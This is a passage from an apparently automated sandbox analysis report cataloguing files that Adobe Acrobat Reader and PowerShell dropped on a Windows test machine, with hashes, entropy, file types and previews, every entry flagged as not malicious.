SHA-512:	AE935343A309CBA446FC147ECF367E014D9DD9F807CF38B5B58958308593EAFAA8445C1B1753B606796C002206BD38FEC873ED37B396ACA103D2A38839552C78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.245433247473161
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJf+dPeUkwRe9:YvXKXwFI9B5YpW7HG28Ukee9
MD5:	D5E51776B7A57872EF167A2CED000591
SHA1:	167E878286D949683F1A25DD2316F44AA3001CD3
SHA-256:	CDE2D15AB52E76882491740CF4CA36F43316A31BE325C67F3606643C6EA5759B
SHA-512:	984D3550126FC429AAB7914B45FC1E9B5D024B6033A0F21DFDC47DE0C6DD70057A8970A6A234E15076034BC9980345160D66B0119A88CB0B391C8686BD800036
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.243907016576549
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfbPtdPeUkwRe9:YvXKXwFI9B5YpW7HGDV8Ukee9
MD5:	06667D72FC8A5143BC47761D46C37110
SHA1:	9B55E9E1945D22FA0F5ED2915006EF0319612094
SHA-256:	49E115925B5A7B14159F57AC8D5179BF30DBD700697C94B8120EB23C9ECB6859
SHA-512:	CAEE087172DC2B7D29937034E0C91CDF34BCA20B1ACBE09F55213C8C67741DB847E57536EDB4A08831C660F8A55E0395E9E24C55C0A280EFFC77F4879E398E02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.244378010771671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJf21rPeUkwRe9:YvXKXwFI9B5YpW7HG+16Ukee9
MD5:	9E93AE33A43E964336DF6E877E6AD611
SHA1:	849BC1A427F03603A387B14CD2E71D7CE947814B
SHA-256:	769C663BC0F6DC30467B804A30F16AF000E6CC1C8F55FE9F03D49CF70EA9843B
SHA-512:	639F6781352F0696C424CA137F28C66008F99797BB0F2C201501360198FECEFB59BB37C8E3764A614ECAA9964CEB06610B8647E72A83D2C83E5B1FBABA11FED1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655295159644276
Encrypted:	false
SSDEEP:	24:Yv6Xf6i4amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSW:YvEV+BgkDMUJUAh8cvMW
MD5:	E740F505B6EC8EDB5811D60A33ADD1CC
SHA1:	DF656DD3EFE2B159EC9DEEAEEFC972ED39381BA9
SHA-256:	5657CF957DF885FFD1969FC181A3C3F3930CA8430D1EB9E5D2A7396F8E10D7F9
SHA-512:	8309CB61F61C66ABD12A729A4E34630A5B72DBC3D9945E218834972D2F379C9A7DD0F11CC3AA0109CFFED7D0B8297E6DA10CF404E710556EA0D88A0DADC8CF55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.21836087891061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfshHHrPeUkwRe9:YvXKXwFI9B5YpW7HGUUUkee9
MD5:	A4F3CFA4D58CD4EF7624072FBC9B51D4
SHA1:	10535AB96BB2C7DDBE8CBE5A5691DEDB5CE255A9
SHA-256:	BA4D407E6F531956D3958569C09A32709A73EC908C483F533899CF77925AF5D5
SHA-512:	7C5DA09DF87493036903E9C97CF41CF6B75DBC25403128E4E17920AD76A1B5AD40128523B63839A94AB941BE47A60BF390AEBCFA1FAD9773CF9BF84E31DC695A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2267698064704655
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJTqgFCrPeUkwRe9:YvXKXwFI9B5YpW7HGTq16Ukee9
MD5:	A568D849040CE54157D1948A5423C7DA
SHA1:	04325C95B2D06B84A3AA42048AA09C009CD9AF56
SHA-256:	E44AAFFFB70D5FC728A906D273BFF84F4BD100D35DBEBCB150C4DE715E17B413
SHA-512:	D640F6BDA45977EB8C472BA2E56A4A80F1F0814F2D865D86848B3AB8D528189CEFE2D76E9F94525F37F908507961AA11C7C24DCA42FDE695CA6954D45EA47E20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138671340477897
Encrypted:	false
SSDEEP:	24:YV3HguaqkzHaygcOKkD6aLPB8E+j2cj0S+NrQ+2902LSQCwhmp7EVeBgN5s9uOkq:YVXbCyBD6aNE2uEO0y5hmp75YO9Rn
MD5:	2FB33E312524C04AA3D9978A2017F250
SHA1:	09BA7922300BBA3B5C9C038F21F4200BA43B6FE9
SHA-256:	A2F174E54505790518AABB994929BE37DF40CFD8186A3D5A52CD7EEC1478F5CF
SHA-512:	6D183432F6A2D60968127364BFB1B25FBF2C9BF3025067DEE50898E404F415FAA10AA9B4B35827A000BD7C6D283B60E58226E92A8B56BD8D15C95E7ACF3ABDF4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f747a7adbe6e2ab5161237b09582cf20","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736535685000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d30d7646dbced7803f10b0766f409700","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736535685000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"7656607ee8c09616544169e88bbb466c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736535685000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ffa953575f468f542ba61c119bfdef58","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736535685000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"879f43c6da61b2959dea8919c176abdd","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736535685000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a193d8a5361114796381e81b16541a40","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9841533480737851
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp4aZx4zJwtNBwtNbRZ6bRZ4paZxF:TVl2GL7ms6ggOVp4aQzutYtp6Puat
MD5:	F26A65B1D6E3F45CD2C274D869217934
SHA1:	180C2B4643BC88EE76FEA7175FED9AEC1DB59C51
SHA-256:	468429D4B03243F59E34EB3EBDE94FE05011CFBF989B95813E7471D5025BDA91
SHA-512:	87AD2B3D9B0173BC1E3A393AD3DEC7CE272E27176A2B6D8CF00932A3E13F49DA3992408EF132CBFB3FEF39A092826B67A52EB9BF0F6C40D7EBAA0AABA5A87384
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3386994201822953
Encrypted:	false
SSDEEP:	24:7+trmAD1RZKHs/Ds/Sp4aZxPzJwtNBwtNbRZ6bRZWf1RZKBqLBx/XYKQvGJF7ura:7MrmGgOVp4aXzutYtp6PM0qll2GL7ms7
MD5:	4ABB0251F0F73628BE9F8C8ACC9B1F2A
SHA1:	73C47E9E581763B9AD3698A3315E73124AC1B3A9
SHA-256:	3D61B587C0F8B8A89214C68D687C5EA5EB053B963822907A512D2A0A71E62620
SHA-512:	620BC42CA4E3F568F451B89C0AF8B0804A94361C5D1246B0AEBD05BD588B82F1D2D850D5E4B34ECCA6019709212EA599FC60B13BFBF0612BA6883D84FC831F46
Malicious:	false
Preview:	.... .c.....qw).......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg885LlefMR3CXu8cI/xpIyiJjRXXocYyu:6a6TZ44ADE885LhR3CXcIIRXYcK
MD5:	6557ABA5F4B9D9B79BA09FC2ADC44910
SHA1:	8FA364CDD8A4315579370BF54586388D461F0BEE
SHA-256:	079BB80228AA74EEBD27AD06B8127BC3A753355A32209F4165BA39FEABDA4A68
SHA-512:	AE662050F73DAE16DFF30D4F9F2D0947F28EDE5B16470FE780EB890509A8E9F1AE3D277D6B59C0D9EB9E012567B89BDBAC9E528860B24A8CFB5BA592928E3C86
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSId14dd.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERqTH:Qw946cPbiOxDlbYnuRK+bDuH
MD5:	A5F16F09FF660D2311F0CDF336A07058
SHA1:	EB6CDED4E512F8E089EFB7A4D915EA1E379122EE
SHA-256:	1BA8A57D4192AECED2E251FC906F0BE53654D12F20D9D03896DC241D91C7F765
SHA-512:	36C06940A35C2E870D59BFBB4B6E70EF40A4C9359088C60896CCA854F2E2E0294B84FDB98CD287B2D7143FEC18C7C694342200C38E7A575D3A6E3E77F4D51B96
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.0.1.:.3.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihon4cgp.3kd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iwr4nydf.vun.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-01-21-226.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.367154324252756
Encrypted:	false
SSDEEP:	384:/K6VEVfVMVmVdkX6kVkUkaktk7kTRk1ke2n27292hekeAe7e+ejIv/2v2X2Rn7nU:x2avFW8tStClC
MD5:	CFB64F85599579E563478C2C9E1F33A5
SHA1:	29A9A464FD9E2092B197E8A54E85F446BCBB663E
SHA-256:	15EBE125C7685B84ACB9A3C11AAD5C1B7F7E41CA296187BBACDDCC543CC7A69D
SHA-512:	E6F9F39F613790866540479368006032A437A4462D8519284072E5140E8B017C83F292308DE5F17447CBDFA59F357D7B7888D32F7AC129A60B2FC12697405E2E
Malicious:	false
Preview:	SessionID=ef71b5d6-8668-4b94-b669-3048cd610781.1736535681235 Timestamp=2025-01-10T14:01:21:235-0500 ThreadID=7368 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ef71b5d6-8668-4b94-b669-3048cd610781.1736535681235 Timestamp=2025-01-10T14:01:21:236-0500 ThreadID=7368 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ef71b5d6-8668-4b94-b669-3048cd610781.1736535681235 Timestamp=2025-01-10T14:01:21:236-0500 ThreadID=7368 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ef71b5d6-8668-4b94-b669-3048cd610781.1736535681235 Timestamp=2025-01-10T14:01:21:236-0500 ThreadID=7368 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ef71b5d6-8668-4b94-b669-3048cd610781.1736535681235 Timestamp=2025-01-10T14:01:21:236-0500 ThreadID=7368 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3880703639204715
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbm:hk
MD5:	C6D98A25BFC0204A0F310D31502768A8
SHA1:	0199D90B1EAEB3C38C3DEE78D91C0EB460C5C03C
SHA-256:	3CB3120BBFA1B0CDDA3BB5110D072A8B76245201F2D9AE4C52A599B3A4C817C0
SHA-512:	958693D32792ACE9FCFAFE3B45D37CA4D1DB142174D0B588956B99035BD90096250A25E9CE232008C744DEDF334F59622E424D8148610A3DB4D9BAF21F34F913
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6fc9648f-75e5-4816-aa3d-3f64a187aa9e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\91f910dc-440e-4ccf-8f77-d4ccbdcb5922.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
